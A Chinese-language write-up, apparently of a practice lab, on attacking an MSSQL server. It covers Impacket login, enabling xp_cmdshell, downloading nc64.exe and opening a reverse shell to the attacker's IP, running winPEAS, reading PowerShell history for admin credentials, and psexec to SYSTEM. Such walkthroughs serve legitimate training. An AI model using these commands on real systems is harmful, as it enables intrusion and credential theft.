MSSQL渗透测试

news2025/1/20 22:39:18

mssql数据库连接

使用Impacket工具中的mssqlclient.py脚本去连接，进入/root/impacket/examples/目录，然后使用mssqlclient.py脚本去连接就可以了

python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth

在这里插入图片描述

输入上面获得的密码，连接成功，获取

-windows-auth ：使用 Windows 身份验证

我们接下来就是进行提权，我们需要判断sql_svc是不是管理员账号，权限够不够大

help

在这里插入图片描述

我们看到这里有xp_cmdshell功能，我们接着判断一下sql_svc是不是管理员账号

select is_srvrolemember('sysadmin');

在这里插入图片描述

返回1，说明是mssql的最高权限，sa，那我们就不需要提权了，我们试一下能不能执行命令

EXEC xp_cmdshell "net user";

在这里插入图片描述

返回error，说明xp_cmdshell功能不能使用，命令无法执行，我们使用以下命令组开启xp_cmdshell功能

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

在这里插入图片描述

xp_cmdshell "whoami"

在这里插入图片描述

确认命令能够执行，但是在数据库当中不好操作，所以我们接下来就要反弹shell
我们将上传nc.exe到目标服务器上，先开启HTTP服务器、nc侦听器

python3 -m http.server  80

在这里插入图片描述

nc -nvlp 1234

在这里插入图片描述

在目标数据库中查看当前目录

exec xp_cmdshell "powershell -c pwd";

在这里插入图片描述

路径在C:\Windows\system32，这个可不好操作，因为我们只是数据库的最高权限，是无法修改系统的目录，这个时候，我们要改变上传的目录，我进行了目录枚举，失败了，根本移动不了，从网上找了一个默认的上传目录
C:\Users\sql_svc\Downloads，切换到数据库的默认目录C:\Users\sql_svc\Downloads并下载我们本地的nc.exe

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://本地连接目标服务器的IP/nc64.exe -outfile nc64.exe"

在这里插入图片描述

nc上传成功，nc反弹shell

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 本地连接目标服务器的IP 1234"

在这里插入图片描述

反弹shell成功，拿到目标数据库的权限

在这里插入图片描述

我们后续的命令在nc上面敲就好了，拿到数据库的权限，我们还要进一步提权，获取服务器的权限，以便于我们后续的信息收集

提权至服务器权限

在提权这里我使用的是winpeas，它可以帮我们寻找可以提权的方式
直接在nc界面输命令，先进入powershell界面

powershell

在这里插入图片描述

然后把winpeas.exe给下载进去

wget http://本地连接目标服务器的IP/winPEASx64.exe -outfile winpeas.exe

在这里插入图片描述

直接执行winpeas.exe这个工具就可以了，这个工具重点的东西，它会标红进行显示

.\winpeas.exe

在这里插入图片描述

看到这里，我知道这台服务器之前登录过两个账号，其中还有一个是管理员账号

ConsoleHost_history.txt是windows系统的powershell历史记录文件，我们去看看

cd AppData
cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
ls
type ConsoleHost_history.txt

在这里插入图片描述

我们直接看到了账号密码

winpeas不仅是一个提权的工具，它还能很好的收集服务器的信息，可以当作信息收集工具来使用，从它收集来的信息来看，这个目标没有内网

https://cloud.tencent.com/developer/article/2149150

在这里插入图片描述

我们得到了服务器管理员的账号密码，那我们现在就去连接一下，使用Impacket 套件中的psexec.py去连接

python3 psexec.py administrator@目标IP
whoami

在这里插入图片描述

成功获取服务器的system权限，因为没有内网就到这里了

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1475218.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！